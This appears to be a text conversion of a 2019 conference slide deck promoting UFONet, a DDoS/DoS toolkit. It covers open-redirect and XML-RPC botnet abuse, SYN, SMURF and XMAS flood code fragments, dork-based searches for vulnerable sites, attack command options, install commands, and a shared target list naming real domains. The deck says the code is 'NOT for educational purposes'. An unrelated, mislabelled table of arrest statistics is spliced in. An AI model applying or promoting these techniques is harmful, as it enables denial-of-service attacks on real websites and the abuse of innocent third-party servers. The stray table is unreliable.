#UFONet = (To0L.AlienWare) / ninja[DDoS+DoS] \ (multi-
ProXY/DarkNet(HTTP(s)/WebAbuse[Layer7])
+(extra[Layer3]+d0rKng+eVas(h)iVe(CA-
che/ge0)+FngPrinting+sTAT[RanKiNgs+F0RuMS
+W arGames(P2P/CIAns-RanKings)]…

“Denial of Service Toolkit” → by psy
- @2019#HackRON(TNF)
...“Let them hate so long as they fear”...

...“oderint dum metuant”...
LEGAL DISCLAIMER:
Usage of UFONet for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program.
+ What’s UFONet?
+ How it works?
  - [ DDoS / DoS / Extras ]
+ Installation
+ Main-Features
+ GUI
+ Demo/Video
+ Contribute

* FAQ: ufonet.03c8.net/FAQ
What's UFONet?
What's UFONet?
What's UFONet?

(2018) - Average age of individuals arrested by country

<table>
<thead>
<tr>
<th>Country</th>
<th>18-29</th>
<th>30-49</th>
<th>50+</th>
<th>Youngest-oldest gap</th>
</tr>
</thead>
<tbody>
<tr>
<td>Sweden</td>
<td>53%</td>
<td>74%</td>
<td>82%</td>
<td>-29</td>
</tr>
<tr>
<td>Canada</td>
<td>47</td>
<td>64</td>
<td>71</td>
<td>-24</td>
</tr>
<tr>
<td>U.S.</td>
<td>68</td>
<td>86</td>
<td>86</td>
<td>-18</td>
</tr>
<tr>
<td>Germany</td>
<td>56</td>
<td>63</td>
<td>72</td>
<td>-16</td>
</tr>
<tr>
<td>Netherlands</td>
<td>67</td>
<td>81</td>
<td>82</td>
<td>-15</td>
</tr>
<tr>
<td>UK</td>
<td>63</td>
<td>76</td>
<td>78</td>
<td>-15</td>
</tr>
<tr>
<td>Australia</td>
<td>63</td>
<td>74</td>
<td>75</td>
<td>-12</td>
</tr>
<tr>
<td>France</td>
<td>59</td>
<td>65</td>
<td>71</td>
<td>-12</td>
</tr>
<tr>
<td>Brazil</td>
<td>47</td>
<td>60</td>
<td>70</td>
<td>+23</td>
</tr>
</tbody>
</table>
"On a samurai sword or even any tool, what matters is who goes to use it and for what, not who builds it and when…"

“A botnet of botnets…”
What’s UFONet?

- Python + Javascript + HTML5 + CSSv3
- License → GPL v3.0
- First Release: v0.1b → 2013
  - Born as XSSer module (2009)

Toolkit → DDoS (Botnet) + DoS (Direct-attacks)
  - Exploit OSI/Layer-7 (HTTP)
  - Exploit OSI/Layer-3 (NETWORK)

Objective → Resource Depletion

* Last code [01/2019]: v1.2 – “Armageddon!”
What's UFONet?

[Info] Flying some UCAV with 'heat-beam' weapons...

[Info] Congratulations!. Your target looks OFFLINE from external sources...

Wanna send a [HEAD] check request from your proxy (y/N)y
--------------------------------------------------------
[Info] #UFONet TANGO DOWN!!! -> rednet
/How it works?/

====================================================================
**How it works?:** DDoS/Botnet


+ CWE-601: URL Redirection to Untrusted Site

A web application accepts a user-controlled input that specifies a link to an external site and uses that link in a Redirect.

<table>
<thead>
<tr>
<th>Google open redirect</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>From:</strong> secure poon &lt;suckure () gmail com&gt;</td>
</tr>
<tr>
<td><strong>Date:</strong> Wed, 7 Dec 2011 10:40:33 -0800</td>
</tr>
</tbody>
</table>

**Problem:**

Google suffers from an open redirect that can be used to trick users into visiting sites not originating from google.com

**Example:**


**Regards**

suckure

---

Full-Disclosure - We believe in it.


How it works?: DDoS/Botnet
How it works?: DDoS/Botnet

- Zombies: HTTP GET 'Open Redirect' bot
  Ex: https://ZOMBIE.com/check?uri=$TARGET

- Droids: HTTP GET 'Open Redirect' bot with params required
  Ex: https://ZOMBIE.COM/css-validator/validator?uri=$TARGET&profile=css3&usermedium=all&vextwarning=true

- Aliens: HTTP POST 'Open Redirect' bot
  Ex: https://ZOMBIE.com/analyze.html;$POST;url=$TARGET

- UCAVs: HTTP GET 'Web Abuse' bot
  Ex: https://www.isup.me/$TARGET

- X-RPCs: HTTP POST XML-RPC PingBack Vulnerability
  Ex: https://ZOMBIE.COM/xmlrpc.php
/How it works?/: **DDoS/Botnet**

+Q: *BUT, is a “strong” DDoS / Botnet?…*

+R: *Well. It depends on how you understand a botnet as “strong”….*

1 - Privacy  
2 - Traffic volume  
3 - Farming / Hunting  
4 - Co-op / Social  
5 - Resilience  
6 - Libre / Free
/How it works?: DDoS/Extras

+ **DBStress** → 'HTTP DB' attack

+ **SPRAY** → 'TCP-SYN reflection' attack

  - SYN packets carrying fraudulent (spoofed) source IP belonging to target *(aka DrDoS)*

  ```
  TCP_l = TCP()
  TCP_l.sport = sport
  TCP_l.dport = sport
  TCP_l.seq = seq
  TCP_l.window = window
  TCP_l.flags = "S"  # SYN
  SYNACK=(IP_p/TCP_l)
  TCP_l.flags = "A"  # ACK
  TCP_l.seq = SYNACK.ack+1
  TCP_l.ack = SYNACK.seq+1
  ```

+ **SMURF** → 'ICMP broadcast' attack

  - ICMP 'broadcast' package carrying fraudulent (spoofed) source IP belonging to target *(aka SMURF)*
/How it works?: DoS/Extras

+ **LOIC** → 'HTTP fast' attack

+ **LORIS** → 'HTTP slow' attack

+ **UFOSYN** → 'TCP-SYN' flood attack

```python
TCP_l = TCP()
TCP_l.sport = sport
TCP_l.dport = port
TCP_l.flags = "S" # SYN
TCP_l.seq = seq
TCP_l.window = window
```

+ **XMAS** → 'TCP-XMAS' flood attack

```python
TCP_l = TCP()
TCP_l.sport = s_zombie_port
TCP_l.dport = sport
TCP_l.seq = seq
TCP_l.window = window
TCP_l.flags = "UFP" # ALL FLAGS SET (like a XMAS tree)
```
/Installation/: **c0d3**

+ **Official:**

  $ git clone https://code.03c8.net/epsylon/ufonet

+ **Mirror:**

  $ git clone https://github.com/epsylon/ufonet

+ **Packages**: .tar.gz / .zip / .torrent / others (APK, .exe). Ex:

  https://ufonet.03c8.net/ufonet/ufonet-v1.2.tar.gz
  https://ufonet.03c8.net/ufonet/ufonet-v1.2.zip.torrent

+ **Present on** *(OS security pentesting releases)*:

  - ParrotOS
  - BlackArch
  - [...]
UFONet runs on many platforms:

- GNU/Linux (*Unix) / Win32 / OSx ...

It requires:

- Python (>2.7.9)
- python-pycurl
- python-geoip
- python-whois
- python-crypto
- python-requests
- python-scapy

Script (auto)install:

```
python setup.py install
```
ventiska% ./ufonet

UFONet - Denial of Service Toolkit - by psy (https://03c8.net)


-> For HELP use: -h or --help

-> For WEB interface use: --gui
Resume

+ Modularity (core/mods | core/tools ...):
  • Code from scratch (clean)
  
  + Proxy: (ex: Tor): Master → Proxy → Proxy(Zombie) → Target

+ Spoofing: (HTTP Headers)
  
  • User-Agent/Referer/Host/X-Forwarded-For/…

+ Impact: Multithread Request(s) / Evade cache /...

+ Manage Botnet ( “Zombie cycle” ):
  
  • Search 'zombies' on the Internet (Dorking)
  • Test vulnerabilities (Open Redirect, XML-RPC…) / Attack-ME
  • Check to discard offline bots
/Main-Features/: **Options**

---

**Options:**
- `--version` show program’s version number and exit
- `-h, --help` show this help message and exit
- `-v, --verbose` active verbose on requests
- `--timeline` show program’s code timeline
- `--update` check for latest stable version
- `--check-tor` check to see if Tor is used properly
- `--force-ssl` force usage of SSL/HTTPS requests
- `--force-yes` set ‘YES’ to all questions
- `--gui` start GUI (UFONet Web Interface)

**Tools:**
- `--crypter` Crypt/Decrypt messages using AES256+HMAC-SHA1
- `--network` Show info about your network (MAC, IPs)
- `--xray=XRAY` Fast port scanner (ex: `--xray 'http(s)://target.com'`)
- `--xray-ps=XRAYPS` Set range of ports to scan (ex: `--xray-ps '1-1024'`)

---
/Main-Features/: Options (Tools)

--crypter  
Crypt/Decrypt messages using AES256+HMAC-SHA1

UFONet Crypter (AES256+HMAC-SHA1)

- Enter text: Hello World!
- Enter Key: panopticon

-> Ciphertext: [ POlSSDG64BEP60VZ0aVYMUYFMUjTbFAfcTZKzU5uZ6gd55YYalcXthV70GaC851 ]

Length: 64

-> Key (share it using SNEAKNET!): panopticon

Decryption PoC: Hello World!

--network  
Show info about your network (MAC, Ips)

- Network Info:

- MAC Address : 00:09:33:19:47:69
- IP Private : 192.168.1.65
- IP Public : 199.249.2.120 | [ip.42.pl]
/Main-Features/: Options (Tools)

--xray=XRAY Fast port scanner (ex: --xray 'http(s)://target.com')
--xray-ps=XRAYPS Set range of ports to scan (ex: --xray-ps '1-1024')

Received 4 packets, got 1 answers, remaining 0 packets

[Info] [AI] [UFOSCAN] Host 98.137.246.8 is UP!

Begin emission:
Finished to send 1 packets.

[Info] [AI] [UFOSCAN] Scan completed in: [ 2131.15770912 ]

[Info] [AI] [UFOSCAN] [ 2/1023 ] OPEN ports FOUND!

[-] Target: [ 98.137.246.8 ]

[+] OPEN PORT: [ 80 ]
[+] OPEN PORT: [ 443 ]
**Options**

*Configure Request(s)*:
- **--proxy=PROXY**  Use proxy server (ex: --proxy 'http://127.0.0.1:8118')
- **--user-agent=AGENT**  Use another HTTP User-Agent header (default SPOOFED)
- **--referer=REFERER**  Use another HTTP Referer header (default SPOOFED)
- **--host=HOST**  Use another HTTP Host header (default NONE)
- **--xforw**  Set your HTTP X-Forwarded-For with random IP values
- **--xclient**  Set your HTTP X-Client-IP with random IP values
- **--timeout=TIMEOUT**  Select your timeout (default 1)
- **--retries=RETRIES**  Retries when the connection timeouts (default 0)
- **--threads=THREADS**  Maximum number of concurrent HTTP requests (default 5)
- **--delay=DELAY**  Delay in seconds between each HTTP request (default 0)

*Search for 'Zombies'*:
- **--auto-search**  Search automatically for 'zombies' (may take time!)
- **-s SEARCH**  Search from a 'dork' (ex: -s 'proxy.php?url=')
- **--sd=DORKS**  Search from 'dorks' file (ex: --sd 'botnet/dorks.txt')
- **--sn=NUM_RESULTS**  Set max number of results for engine (default 10)
- **--se=ENGINE**  Search engine to use for 'dorking' (default Yahoo)
- **--sa**  Search massively using all search engines
/Main-Features/: Options (d0rKing)

--auto-search: Search automatically for 'zombies' (may take time!)

  + ADVANCED SEARCHING MODEL: “Iteration without repetition”

-s SEARCH: Search from a 'dork' (ex: -s 'proxy.php?url=')

--sd=DORKS: Search from 'dorks' file (ex: --sd 'botnet/dorks.txt')

  + TOTAL DORKS (by default): 110

--sn=NUM_RESULTS: Set max number of results for engine (default 10)

--se=ENGINE: Search engine to use for 'dorking' (default Yahoo)

  + SUPPORTED (01/01/2019): Yahoo, Bing

--sa: Search massively using all search engines
/Main-Features/: **Options**

---

**Test Botnet**:
- `--test-offline`: Fast check to discard offline bots
- `--test-all`: Update ALL botnet status (may take time!)
- `-t TEST`: Update 'zombies' status (ex: `-t 'botnet/zombies.txt'`)
- `--test-rpc`: Update 'reflectors' status (ex: `--test-rpc`)
- `--attack-me`: Order 'zombies' to attack you (NAT required!)

**Community**:
- `--blackhole`: Create a 'blackhole' to share 'zombies'
- `--up-to=UPIP`: Upload 'zombies' to IP (ex: `--up-to '<IP>'`)
- `--down-from=DIP`: Download 'zombies' from IP (ex: `--down-from '<IP>'`)
- `--upload-zombies`: Upload 'zombies' to Community server
- `--download-zombies`: Download 'zombies' from Community server

**Research Target**:
- `-i INSPECT`: Search biggest file (ex: `-i 'http(s)://target.com'`)
- `-x ABDUCTION`: Examine webserver configuration (+CVE, +WAF detection)
-i INSPECT Search biggest file (ex: -i 'http(s)://target.com')

Total objects found: 55
--------------
images: 48
.mov : 0
.jsp : 0
.avi : 0
.html : 2
.mpg : 0
.asp : 0
.mp3 : 0
.js : 1
.ogg : 0
.wmv : 0
.css : 1
.mpeg : 0
.xml : 2
.php : 1
txt : 0
.webm : 0
.ogg : 0
.swf : 0
--------------
--------------
-x ABDUCTION
  Examine webserver configuration (+CVE, +WAF detection)

-IP : 192.124.249.115
-IPv6 : OFF
-Port : 80
-Domain: hackron.com

-------

Trying single visit broadband test (using GET)...

-Bytes in : 124.08 KB
-Load time: 4.32 seconds

-------

Determining webserver fingerprint (note that this value can be a fake)...

-Banner: Sucuri/Cloudproxy
-Via : NOT found!

-------

Searching for extra Anti-DDoS protections...

-WAF/IDS: FIREWALL NOT PRESENT (or not discovered yet)! ;-)

-------

Searching at CVE (https://cve.mitre.org) for vulnerabilities...
/Main-Features/:  **Options**

*Configure Attack(s)*:
- `-a TARGET`  
  [DDoS] attack an URL (ex: `-a 'http(s)://target.com'`)
- `-f TARGET_LIST`  
  [DDoS] attack a list of targets (ex: `-f 'targets.txt'`)
- `-b PLACE`  
  Set place to attack (ex: `-b '/path/big.jpg'`)
- `-r ROUNDS`  
  Set number of rounds (ex: `-r '1000'` (default 1))

*Extra Configuration(s)*:
- `--no-aliens`  
  Disable 'aliens' web abuse
- `--no-droids`  
  Disable 'droids' redirectors
- `--no-rpcs`  
  Disable 'xml-rpcs' reflectors
- `--no-ucavs`  
  Disable 'ucavs' checkers
- `--no-head`  
  Disable 'Is target up?' starting check
- `--no-scan`  
  Disable 'Scan shields' round check
- `--no-purge`  
  Disable 'Zombies purge' round check
- `--expire=EXPIRE`  
  Set expire time for 'Zombies purge' (default 30)

*Extra Attack(s)*:
- `--db=DBSTRESS`  
  [DDoS] 'HTTP DB' attack (ex: `--db 'search.php?q='`)
- `--spray=SPRAY`  
  [DDoS] 'TCP-SYN reflection' attack (ex: `--spray 100`)
- `--smurf=SMURF`  
  [DDoS] 'ICMP broadcast' attack (ex: `--smurf 101`)
- `--loic=LOIC`  
  [DoS] 'HTTP fast' attack (ex: `--loic 100`)
- `--loris=LORIS`  
  [DoS] 'HTTP slow' attack (ex: `--loris 101`)
- `--ufosyn=UFOSYN`  
  [DoS] 'TCP-SYN flood' attack (ex: `--ufosyn 100`)
- `--xmas=XMAS`  
  [DoS] 'TCP-XMAS flood' attack (ex: `--xmas 101`)

=====================================================================
ventiska% ./ufonet --gui

+ Class: UFONet / ViPR404+ (model D) +
UFONet - is a toolkit designed to launch DDoS and DoS attacks.

REMEMBER -> This code is NOT for educational purposes!!

START MOTHERSHIP!
Welcome to: UFONet | FAQ - Help |

Code: v1.2 - Armageddon!
- Rel: Mon Dec 31 23:54:22 2018
- Dep: Mon Dec 31 23:43:34 2018
- Auto-update | Code - Mirror |

Mothership ID: S5 0014+81
- Your ranking is: Rookie
/GUI/: HELP

+ Project info
+ How does it work?
+ How to start?

All you need to start an attack is:
- a list of 'zombies'; to conduct their connections to your target
- a place; to efficiently hit your target

+ Updating
+ FAQ/Problems?
+ How can I help?
+ Contact methods
Connect to freenode IRC

Nickname: [Input field]
Channels: [Input field]
Auth to services: [Checkbox]
Humanity: [Input field]

[Image of CAPTCHA]

Connect
/GUI/: GRID

- CONTACT: UNKNOWN!
- NICKNAME: Anonymous
- RANKING: Rookie [*]
- ID: 279902656827882553576046184649598428881

GLOBAL Grid

[Buttons: CONFIGURE! | STATS! | DOWNLOAD! | DECRYPT! | UPLOAD! | TURN OFF!]

MOTHERSHIP STATS: (Last Update: Mon Dec 31 23:49:50 2018)

| MEMBERS: | 139 | ▼ | ✧ ✧ ✧ ✧ | ✧ | ✧ ✧ | ✧ | ✧ | ✧ |
| MISSIONS: | ✧ | ATTACKS: | ✧ | CHARGO (ACTIVE!): | ✧ | DORKING: | ✧ | TRANSF: | ✧ |
| LOIC: | ✧ | LORIS: | ✧ | UFOSYN: | ✧ | SPRAY: | ✧ | SMURF: | ✧ |
| XMAS: | ✧ |

MEMBERS STATS:

<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>MCoob@eJa2kd</td>
<td>TqT+</td>
<td>fHm8</td>
<td>fT3l</td>
<td>5KDT</td>
<td>6hsC</td>
<td>6qoB</td>
<td>RQL</td>
<td>7iIL</td>
<td>0g2W</td>
<td>2g0w</td>
<td>gw20</td>
<td>20wg</td>
<td>2g0w</td>
<td>View</td>
</tr>
<tr>
<td>DGENCpGlGxek</td>
<td>/NkN</td>
<td>wc60</td>
<td>rNbs</td>
<td>Lvaw</td>
<td>IowE</td>
<td>LB/o</td>
<td>Nnpe</td>
<td>aBuc</td>
<td>g2w0</td>
<td>wg20</td>
<td>w20g</td>
<td>g2w0</td>
<td>Ow2g</td>
<td>View</td>
</tr>
<tr>
<td>XRLr9JTIM62rb</td>
<td>XMkU</td>
<td>qBxH</td>
<td>7U0V</td>
<td>f6JS</td>
<td>2qsV</td>
<td>upCa</td>
<td>tIGY</td>
<td>Rsjn</td>
<td>0g2W</td>
<td>w20g</td>
<td>g20w</td>
<td>02wg</td>
<td>20gw</td>
<td>View</td>
</tr>
</tbody>
</table>
/GUI/: Crypto-MISSIONS

---

Last update: Mon Mar 5 19:40:53 2018

[1] Welcome to UFONet 'Turina' Server CryptoMissions...
[3] Create a video showing/teaching about UFONet and share it...
[5] *** [This message cannot be solved with that key...]
[7] Try to set your own P2P mothership 'blackhole'...
[8] Add more OpenRedirect dorks to: botnet/dorks.txt
[9] Search massively for zombies: ufonet --sd 'botnet/dorks.txt' --sa
[10] Share new zombies: via P2P, darknet or a secure pastebin...
[12] Seed: http://ufonet.03c8.net/ufonet/ufonet-v0.8.tar.gz.torrent
[13] Donate BTC (bitcoins) to: 19aXfJtoYJUoXElZjNwsah2JKN9CK5PcjW
[14] Seed: https://ufonet.03c8.net/ufonet/ufonet-v0.9.zip.torrent
[15] Seed: https://ufonet.03c8.net/ufonet/ufonet-v0.9.tar.gz.torrent
[16] Try to set your own P2P board/grid using grider.py


---
/GUI/: BOARD

OPERATOR/LINK: ON

-NICKNAME: Anonymous
-ID: 278076992469951311740204733508783791805

CONFIGURE! | DOWNLOAD! | TURN OFF!

/CRYPTO-BOARD: (Last Update: Tue Mar 6 20:20:06 2018)

Try decryption!
/GUI/: ATTACK PANEL

* Set your target: [Enter target URL]

* Set place to attack: [Enter path]

* Number of rounds: [Enter number]

[Configure requests] [Generate map!] [Extra(s)]

* LOIC: [Value]  * LORIS: [Value]  * UFOSYN: [Value]

* SPRAY: [Value]  * SMURF: [Value]  * XMAS: [Value]

* Set db stress parameter: [Enter parameter value]

ATTACK! | Total Botnet = [Value]
/GUI/: MAP ATTACK!

Zombies: 343/1791
/GUI/: GLOBAL SUPPLY

MASSIVE ACTION:

BOTNET (6):
LOIC:
LORIS:
UFOSYN:

GLOBAL ARMY SUPPLY (rounds):

CREATION: TARGET: DATE: ETA: ACTION: STATUS:
08-11-2018 14:13:16 tiktok.com 12-11-2018 14:12:58 OUT-OF-TIME REMOVE -CLOSED-
07-11-2018 10:04:15 dio.it 07-11-2018 17:04:08 OUT-OF-TIME REMOVE -CLOSED-
05-11-2018 02:14:06 sarvodayaayurved.com 06-11-2018 00:00:00 OUT-OF-TIME REMOVE -CLOSED-
/Meanwhile in Spain/: **RamonWare**
UFONet v1.2 - "Armageddon!"

# https://ufonet.03c8.net #

@ 2019 // by psy
/Contribute/: Community

+ Development:
  - Testing
  - Documentation
  - Bug Fixing / Hacking ;-
  - Suggestions/Ideas/...

+ Support:
  - Donations:
    - BTC: 1Q63KtiLGzXiYA8XkWFPnWo7nKPWFr3nrc
    - Promotions / Events / Jobs … → ♥ ♥ ♥
“The truth is out there…”